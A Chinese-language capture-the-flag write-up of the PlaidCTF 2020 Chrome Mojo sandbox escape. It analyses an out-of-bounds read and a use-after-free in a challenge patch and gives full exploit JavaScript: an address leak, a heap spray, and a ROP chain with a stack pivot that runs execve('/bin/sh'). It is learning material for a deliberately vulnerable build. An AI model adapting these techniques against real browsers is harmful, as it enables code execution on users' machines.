沙箱逃逸之plaidctf 2020 mojo writeup

WriteUp 1年前 (2022) admin
652 0 0

最近想看看chrome沙箱逃逸,从plaidctf 2020mojo开始。

描述

题目附件内容如下所示:

$ ls
Dockerfile     chrome.zip     flag_printer   mojo_js.zip     plaidstore.diff run.sh         server.py       visit.sh

Dockerfile的内容知道,启动chrome的命令如下所示,参数$1是要访问的链接。--headless表示不启动图形界面对页面进行解析;--enable-blink-features表示启用一个或多个启用Blink内核运行时的功能,在这里启用了MojoJSmojojs api

timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"

重点要分析的是plaidstore.diff,它是出题人对于chromepatch

分析

直接去看plaidstore.diff来尝试寻找漏洞,它添加了一个新的interface。先看plaidstore.mojom定义的interfaceinterface中定义了StoreData以及GetData两个函数。

+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+ // Stores data in the data store
+ StoreData(string key, array<uint8> data);
+
+ // Gets data from the data store
+ GetData(string key, uint32 count) => (array<uint8> data);
+};

来看interfacebrowser端的实现,如下所示。两个函数还没有具体实现,可以看到有两个私有成员变量render_frame_host_以及data_store_

+++ b/content/browser/plaidstore/plaidstore_impl.h
@@ -0,0 +1,35 @@
+#include <string>
+#include <vector>
+
+#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h"
+
+namespace content {
+
+class RenderFrameHost;
+
+class PlaidStoreImpl : public blink::mojom::PlaidStore {
+ public:
+ explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);
+
+ static void Create(
+     RenderFrameHost* render_frame_host,
+     mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
+
+ ~PlaidStoreImpl() override;
+
+ // PlaidStore overrides:
+ void StoreData(
+     const std::string &key,
+     const std::vector<uint8_t> &data) override;
+
+ void GetData(
+     const std::string &key,
+     uint32_t count,
+     GetDataCallback callback) override;
+
+ private:
+ RenderFrameHost* render_frame_host_;
+ std::map<std::string, std::vector<uint8_t> > data_store_;
+};
+
+} // namespace content

整个interface的实现引入了两个漏洞,分别是oob已经uaf漏洞,下面来逐个进行解析。

oob 越界读漏洞

GetData以及StoreData函数的实现如下所示。StoreDate会将data存入到data_store_[key]当中,GetData函数会尝试在data_store_中找到对应的key所存储的值,并拷贝出count大小的数据。

oob越界读漏洞存在于GetData的实现当中,可以看到它没有对count进行限制,导致可以越界读取对应数据后任意大小的值并泄露出来。

+void PlaidStoreImpl::StoreData(
+   const std::string &key,
+   const std::vector<uint8_t> &data) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+   return;
+ }
+ data_store_[key] = data;
+}
+
+void PlaidStoreImpl::GetData(
+   const std::string &key,
+   uint32_t count,
+   GetDataCallback callback) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+   std::move(callback).Run({});
+   return;
+ }
+ auto it = data_store_.find(key);
+ if (it == data_store_.end()) {
+   std::move(callback).Run({});
+   return;
+ }
+ std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+ std::move(callback).Run(result);
+}

uaf 漏洞

一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象。

可以看到在初始化的时候会将render_frame_host指针保存在render_frame_host_中。但是理论上来说,interface是不应该直接存储render_frame_host指针的,如果需要使用,也应该使用RenderFrameHost::FromID(int render_process_id, int render_frame_id)的方式来获取相应的对象。

+PlaidStoreImpl::PlaidStoreImpl(
+   RenderFrameHost *render_frame_host)
+   : render_frame_host_(render_frame_host) {}

同时接口的实现还调用MakeSelfOwnedReceiver函数将把Mojo管道的一端 Receiver和当前PlaidStoreImpl实例绑定,只有当Mojo管道关闭或者发生异常, Receiver 端与当前实例解绑,此时的PlaidStoreImpl相关内存数据才会释放。

+void PlaidStoreImpl::Create(
+   RenderFrameHost *render_frame_host,
+   mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+ mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+                             std::move(receiver));
+}

MakeSelfOwnedReceiver函数的定义如下所示。

Binds the lifetime of an interface implementation to the lifetime of the Receiver. When the Receiver is disconnected (typically by the remote end closing the entangled Remote), the implementation will be deleted.

上面的代码也就意味着当mojo pipe不关闭时,PlaidStoreImpl对象不会释放,也就意味着仍然可以使用render_frame_host_指针。然而PlaidStoreImpl对象并没有与WebContent绑定,我们关闭tab或者销毁iframe 时,PlaidStoreImpl对象是不会被释放的。但是在关闭tab或者销毁iframe时,会释放对应的render_frame_host对象,此时我们仍然可以使用PlaidStoreImpl对象中的render_frame_host_去使用该内存,导致了uaf漏洞的形成。后续若仍然调用调用PlaidStoreImpl接口中的GetDataStoreData函数,会调用render_frame_host_->IsRenderFrameLive()代码,就触发了uaf漏洞。

利用

调试

先说说调试的问题,因为chrome是多进程程序,我们的目标是对mojo通信的receiver端(browser进程进行利用),因此主要是对启动的父进程进行调试。

调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http,而访问本地文件的协议是file

因此先在本地对应的exp文件目录下(需要将mojo_js路径和pwn.html放在一级目录下)启动一个web服务:

python -m SimpleHTTPServer

debug.sh内容如下。在启动的参数中加入了--user-data-dir参数是为了在terminal中输出对应的console.log信息。

# set file and read symbol
file ./chrome
# set start parameter
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS http://127.0.0.1:8000/pwn.html
# set follow-fork-mode
set follow-fork-mode parent
# just run
r

gdb -x debug.sh即可启动调试。

因为开启了mojo js binding,因为可以直接在render端使用js代码来进行通信,示例如下所示:

<script src="./mojo/public/js/mojo_bindings.js"></script>
<script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
async function test() {
let p = blink.mojom.PlaidStore.getRemote(true);
await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
  }
test()
</script>

头两句是要引入的头文件,blink.mojom.PlaidStore.getRemote则是对remote端进行绑定。使用await的理由是因为是从render进程发送给browser进程,需要等待,所以要使用await,不然可能会获取不到数据。

oob 越界读利用

首先搞清楚越界读读的目标是什么,就要搞清楚越界读所发生的区域在哪里,这些区域存储了些什么有用的数据。

因为data_store_指针存储在PlaidStoreImpl对象当中,所以先看PlaidStoreImpl的创建以及调用StoreData函数之后的内存布局。

断点下在PlaidStoreImpl::Create函数,看PlaidStoreImpl对象申请的空间,

	 0x5555591ac4a3    mov    edi, 0x28
► 0x5555591ac4a8 call 0x55555ac584b0 <0x55555ac584b0>

0x5555591ac4ad lea rcx, [rip + 0x635e2ec]
0x5555591ac4b4 mov qword ptr [rax], rcx ; 赋值虚表指针
0x5555591ac4b7 mov qword ptr [rax + 8], rbx ; 赋值render_frame_host指针
0x5555591ac4bb lea rcx, [rax + 0x18]

0x55555ac584b0new函数,可以跟进去该函数然后用frame命令确定。

pwndbg> frame
#0 0x000055555ac584b0 in operator new(unsigned long, std::nothrow_t const&) ()

因此可以确定PlaidStoreImpl对象大小为0x28,也可以看到后面虚表指针以及render_frame_host的赋值,最终形成的内存布局如下:

pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0 0x000028497640bd00 ; vtable | render_frame_host_
0x284976549f40: 0x0000284976549f48 0x0000000000000000 ; data_store_
0x284976549f50: 0x0000000000000000 0x0000000000000000

pwndbg> vmmap 0x284976549f30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28497627a000 0x284976979000 rw-p 6ff000 0 +0x2cff30

再看p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)执行完成后的内存布局,如下所示:

pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0     0x000028497640bd00
0x284976549f40: 0x00002849765f5b40     0x00002849765f5b40
0x284976549f50: 0x0000000000000001     0x0000000000000000
pwndbg> x/10gx 0x00002849765f5b40
0x2849765f5b40: 0x0000000000000000     0x0000000000000000
0x2849765f5b50: 0x0000284976549f48     0x000055555824ff01
0x2849765f5b60: 0x0000007878787878     0x0000000000000000
0x2849765f5b70: 0x0500000000000000     0x0000284976881e10
0x2849765f5b80: 0x0000284976881e38     0x0000284976881e38
pwndbg> x/s 0x2849765f5b60
0x2849765f5b60: "xxxxx"
pwndbg> x/s 0x0000284976881e10
0x284976881e10: 'A' <repeats 40 times>

pwndbg> vmmap 0x0000284976881e10
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
   0x28497627a000     0x284976979000 rw-p   6ff000 0       +0x607e10

可以看到我们能够越界读取的数据0x0000284976881e10所属的地址空间和PlaidStoreImpl对象所属的地址空间是同一片区域,这样就使得如果在存储的数据后部署多个PlaidStoreImpl对象,那么就可以通过越界读取PlaidStoreImpl对象中的数据。

因为PlaidStoreImpl对象中有虚表指针以及render_frame_host_指针,我们就可以越界读把这些数据读出来,最终构造出来的代码如下。要提一个技巧就是搜寻地址是虚表指针因页对齐低三位地址以及高位都是确定的,通过这个方法可以大概率找到对象。

async function Leak()
{
   let plaidStorePtrList = [];
   for(let i=0; i<0x200; i++) {
       let p = blink.mojom.PlaidStore.getRemote(true);
       await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
       plaidStorePtrList.push(p);
  }
   let p = plaidStorePtrList[0];
   let leakData = (await p.getData("xxxxx", 0x2000)).data
   let u8 = new Uint8Array(leakData)
   let u64 = new BigInt64Array(u8.buffer);
   let vtableAddr = 0;
   for(let i=0x28/8; i<u64.length; i++) {
       let highAddr = u64[i]&BigInt(0xf00000000000)
       let lowAddr = u64[i]&BigInt(0x000000000fff)
       if((highAddr == BigInt(0x500000000000)) && lowAddr == BigInt(0x7a0)) {
           vtableAddr = u64[i];
           renderFrameHostAddr = u64[i+1];
           break;
      }

  }

   if(vtableAddr == 0 ) {
       console.log("[-] no vaild addr found");
       return;
  }
   chromeBaseAddr = vtableAddr - BigInt(0x9fb67a0);
   console.log("[+] leak chrome base addr: "+hex(chromeBaseAddr));
   console.log("[+] leak reander frame host addr: "+hex(renderFrameHostAddr));
}
Leak();

uaf 利用

uaf漏洞利用则主要是通过在代码中构建frame,并将frame中的PlaidStoreImpl对象返回,然后关闭frame释放render_frame_host指针,最后使用PlaidStoreImpl对象来使用render_frame_host_来实现uaf

先要搞清楚render_frame_host对象的大小,该对象由RenderFrameHostFactory类实现,可以通过下面的断点来看该对象的大小,可以看到对象大小为0xc28

b content::RenderFrameHostFactory::Create


0x555559075a52 mov edi, 0xc28
0x555559075a57 call 0x55555ac584b0 <0x55555ac584b0>

再来看看怎么触发uaf,主要步骤包括:

  • 调用document.createElement创建一个子frame,在frame中绑定mojo,并将plaidStorePtrList赋值给window,然后返回;

  • 在父frame中注册"DOMContentLoaded"事件的监听函数,调用uaf函数创建对应的pipe;

  • 准备和render_frame_host对象大小相同的内存(0xc28),把它全都初始化成0x41

  • 在父frame中获取子frameplaidStorePtrList

  • 调用frame.remove(),释放掉子frame,这样在browser进程中render_frame_host对象被释放;

  • 调用StoreData函数去browser进程中申请0xc28大小的内存,这样会将被释放的render_frame_host对象内存申请出来。同时该函数也会调用被释放指针render_frame_host_中的虚表函数,触发了uaf漏洞。

function AddFrame()
{
   let frame = document.createElement("iframe");
   frame.srcdoc =
       `<script src="mojo/public/js/mojo_bindings_lite.js"></script>
           <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
       <script>
           async function uaf()
           {
               // step 1 register mojo in child frame
               let plaidStorePtrList = [];
               for(let i=0; i<0x200; i++) {
                   let p = blink.mojom.PlaidStore.getRemote(true);
                   await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
                   plaidStorePtrList.push(p);
               }
// return the plaidStorePtrList to parent frame
               window.plaidStorePtrList = plaidStorePtrList;
               return;
           }
       uaf();
       </script>
       `;
   document.body.appendChild(frame);
   return frame;
}

async function pwn()
{
   let frame = AddFrame();
   frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
    // trigger the pipe
       await frame.contentWindow.uaf();

    // prepare the memory
       let renderFrameHostSize = 0xc28
       frameBuf = new ArrayBuffer(renderFrameHostSize);
       let frameData8 = new Uint8Array(frameBuf).fill(0x41);

    // get the child frame
       let plaidStorePtrList = frame.contentWindow.plaidStorePtrList;

    // free the render_frame_host ptr
       frame.remove();

    // trying to malloc the freed render_frame_host memory and trigger the function.
       let bins = [];
       for(var i=0; i<0x1000; i++){
           plaidStorePtrList[0].storeData("crash", frameData8);
      }
  })

}
pwn();

理论上最终storeData函数在执行render_frame_host_->IsRenderFrameLive()的时候,虚表指针已经被覆盖成了0x414141410x41414141会导致访存错误。

实际运行结果如下,可以看到会尝试调用call [rax+0x160],是代码render_frame_host_->IsRenderFrameLive()的实现,我们所申请的内存成功控制了对象,并且数据可控rip

 Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.
0x00005555591ac1e1 in content::PlaidStoreImpl::StoreData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&) ()
...
RAX 0x4141414141414141 ('AAAAAAAA')
RBX 0x28b732be0090 ◂— 0x4141414141414141 ('AAAAAAAA')
RCX 0x28b732be0090 ◂— 0x4141414141414141 ('AAAAAAAA')
...
► 0x5555591ac1e1   call   qword ptr [rax + 0x160]

  0x5555591ac1e7    test   al, al

pwndbg> i r rax
rax           0x4141414141414141 0x4141414141414141

最终利用

有了对上面两个漏洞的理解,最终利用也就呼之欲出了,代码如下所示,主要流程是:

  • 在子frame中利用oob漏洞泄露出程序基址以及render_frame_host对象地址;其中程序基址用于构造rop链,render_frame_host对象地址用于后续uaf漏洞利用;

  • 准备rop链,因为跳转的时候rax是虚表指针且可控,因此可以将它指向上面泄露的render_frame_host对象地址同时在偏移为0x160的地方部署stack pivot gadgetxchg rsp, rax这样的gadget,然后就是常规的rop链。

  • 触发uaf,成功控制程序流,最后执行execve("/bin/sh")execve("/bin/gnome-calculator")

function AddFrame()
{
   let frame = document.createElement("iframe");
   frame.srcdoc =
       `<script src="mojo/public/js/mojo_bindings_lite.js"></script>
           <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
       <script>
           async function Leak()
           {
               // oob read to leak chrome base addr and render_frame_host pointer
               let plaidStorePtrList = [];
               for(let i=0; i<0x200; i++) {
                   let p = blink.mojom.PlaidStore.getRemote(true);
                   await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
                   plaidStorePtrList.push(p);
               }
               let p = plaidStorePtrList[0];
               let leakData = (await p.getData("xxxxx", 0x2000)).data
               let u8 = new Uint8Array(leakData)
               let u64 = new BigInt64Array(u8.buffer);
               let vtableAddr = 0;
               let renderFrameHostAddr = 0;
               for(let i=0x28/8; i<u64.length; i++) {
                   let highAddr = u64[i]&BigInt(0xf00000000000)
                   let lowAddr = u64[i]&BigInt(0x000000000fff)
                   if((highAddr == BigInt(0x500000000000)) && lowAddr == BigInt(0x7a0)) {
                       vtableAddr = u64[i];
                       renderFrameHostAddr = u64[i+1];
                       break;
                   }
               }

               if(vtableAddr == 0 ) {
                   window.chromeBaseAddr = 0;
                   return;
               }
               chromeBaseAddr = vtableAddr - BigInt(0x9fb67a0);
               window.chromeBaseAddr = chromeBaseAddr;
               window.renderFrameHostAddr = renderFrameHostAddr;
               window.plaidStorePtrList = plaidStorePtrList;
               return;
           }
       Leak();
       </script>
       `;
     document.body.appendChild(frame);
   return frame;
}
async function pwn()
{
   let frame = AddFrame();
   frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
       for(;;) {
        // step 1 trigger oob read to get address
           await frame.contentWindow.Leak();
           if(frame.contentWindow.chromeBaseAddr != 0) {
               console.log("[+] leak chrome base addr: "+hex(frame.contentWindow.chromeBaseAddr));
               console.log("[+] leak reander frame host addr: "+hex(frame.contentWindow.renderFrameHostAddr));
               break;
          }
      }
   
    // step 2 prepare the rop chain
       chromeBaseAddr = frame.contentWindow.chromeBaseAddr;
       renderFrameHostAddr = frame.contentWindow.renderFrameHostAddr;
       let xchgRaxRsp = chromeBaseAddr + 0x000000000880dee8n //: xchg rax, rsp ; clc ; pop rbp ; ret
       let popRdi = chromeBaseAddr + 0x0000000002e4630fn //: pop rdi ; ret
       let popRsi = chromeBaseAddr + 0x0000000002d278d2n //: pop rsi ; ret
       let popRdx = chromeBaseAddr + 0x0000000002e9998en //: pop rdx ; ret
       let popRax = chromeBaseAddr + 0x0000000002e651ddn //: pop rax ; ret
       //let syscall = chromeBaseAddr + 0x0000000002ef528dn //: syscall
       let execve = chromeBaseAddr + 0x9efca30n //: execve
       
       // step 3 reserve the child plaidStorePtrList to trigger uaf
       let plaidStorePtrList = frame.contentWindow.plaidStorePtrList;

    // step 4 prepare the rop chain memory
       let binshAddr = renderFrameHostAddr+0x50n;
       let renderFrameHostSize = 0xc28
       frameBuf = new ArrayBuffer(renderFrameHostSize);
       let frameData8 = new Uint8Array(frameBuf).fill(0x41);
       frameDataView = new DataView(frameBuf);

       frameDataView.setBigInt64(0x160,xchgRaxRsp,true);

       frameDataView.setBigInt64(0,renderFrameHostAddr,true);
       frameDataView.setBigInt64(0x8,popRdi,true);
       frameDataView.setBigInt64(0x10,binshAddr,true);
       frameDataView.setBigInt64(0x18,popRsi,true);
       frameDataView.setBigInt64(0x20,0n,true);
       frameDataView.setBigInt64(0x28,popRdx,true);
       frameDataView.setBigInt64(0x30,0n,true);
       frameDataView.setBigInt64(0x38,popRax,true);
       frameDataView.setBigInt64(0x40,59n,true);
       frameDataView.setBigInt64(0x48,execve,true);
       frameDataView.setBigInt64(0x50,0x68732f6e69622fn,true);  // /bin/sh
       // frameDataView.setBigInt64(0x50, 0x6f6e672f6e69622fn,true); // /bin/gno
       // frameDataView.setBigInt64(0x58, 0x75636c61632d656dn,true); // me-calcu
       // frameDataView.setBigInt64(0x60, 0x726f74616cn,true); // latorx00

    // step 5 free the renderFrameHost memory
       frame.remove();

    // step 6 malloc the freed memory and trigger uaf
       let bins = [];
       for(var i=0; i<0x1000; i++){
           plaidStorePtrList[0].storeData("crash", frameData8);
      }
  })
}
pwn();

最终弹出个计算器,开心。

沙箱逃逸之plaidctf 2020 mojo writeup

总结

第一次调mojo的洞,掌握了沙箱逃逸的大致原理,有了一个略模糊的概念,感觉还蛮有意思,因为对mojo的机制没有太搞明白,所以这里就不讲基础了,只对漏洞进行利用,后面搞得更清楚以后再进行分析。

参考

  • PlaidCTF2020 PlaidStore mojo chromium

  • Plaid CTF 2020 mojo Writeup

  • Plaid2020 Mojo

  • Plaid-CTF-2020-mojo-chrome沙箱逃逸分析

  • chrome sandbox escape case study and plaidctf2020 mojo writeup

  • Plaid CTF 2020 mojo 复现 – chromium sandbox escape

原文始发于微信公众号(f0cus77):沙箱逃逸之plaidctf 2020 mojo writeup

版权声明:admin 发表于 2022年12月12日 上午2:27。
转载请注明:沙箱逃逸之plaidctf 2020 mojo writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...